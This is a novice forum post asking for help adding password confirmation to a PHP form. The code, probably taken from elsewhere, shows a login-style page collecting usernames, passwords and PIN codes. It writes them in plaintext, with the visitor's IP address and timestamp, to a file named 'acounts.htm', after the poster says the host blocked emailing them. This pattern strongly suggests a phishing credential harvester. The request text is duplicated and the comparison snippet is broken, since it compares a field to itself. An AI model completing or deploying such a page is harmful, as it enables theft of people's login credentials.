i used a mail form and put in a part of a script
from the net so save it as a file becouse
when i use the mail command the host blocks it
i added the includes ip date and html etc myself
thare are 2 password field i want
first one as normal one
second one to confirm the password
u did this im new to php can somone
plz help me
from the net so save it as a file becouse
when i use the mail command the host blocks it
i added the includes ip date and html etc myself
thare are 2 password field i want
first one as normal one
second one to confirm the password
u did this im new to php can somone
plz help me
Code:
}elseif ($_post['password1'] == $_post['password1']) {
// and
}else ($_post['password1'] != $_post['password1'])
include "passwordmatcherror.htm";
Code:
<?php
if(isset($_GET['actie']) == "verzenden")
{
if(empty($_POST['username']) || empty($_POST['password']) || empty($_POST['pin']))
{
include "errortable.htm";
}
else
{
$filename = "acounts.htm";
$content = "Username: ".$_POST['username']." <br>Password: ".$_POST['password']." <br>Pin Code: ".$_POST['code']." <br>Ip: ".$_SERVER['REMOTE_ADDR']." <br> ------------------------------------------ <br> |||||| Date : ".date('d-m-Y')." Time : ".date('H:i')." |||||| <br>=================================================<br>\n"; // Content to write in the data file
$fp = fopen($filename, "a");
$fw = fwrite( $fp, $content );
fclose( $fp );
include "donetable.htm";
}
}
else
{
?>
<form method="post" name="verzenden" action="<?=$_SERVER['PHP_SELF']?>?actie=verzenden">
<style type="text/css"><!--
body {
background-image: url('images/background.jpg');
background-position:
left top;
background-repeat: no-repeat;
background-attachment: fixed
}
--></style>
<table width="31%" border="0" align="center">
<tr>
<td width="78%">Login ID :</td>
<td width="22%"><input type="text" name="username"></td>
</tr>
<tr>
<td>Password :</td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td>Confirm Password :</td>
<td><input type="password" name="password2"></td>
</tr>
<tr>
<td>Code</td>
<td><input type="text" name="code"></td>
</tr>
<tr>
<td colspan="2"><div align="center">
<input type="submit" name="Submit" value="Submit">
</div></td>
</tr>
</table>
</form>
<?php
}
?>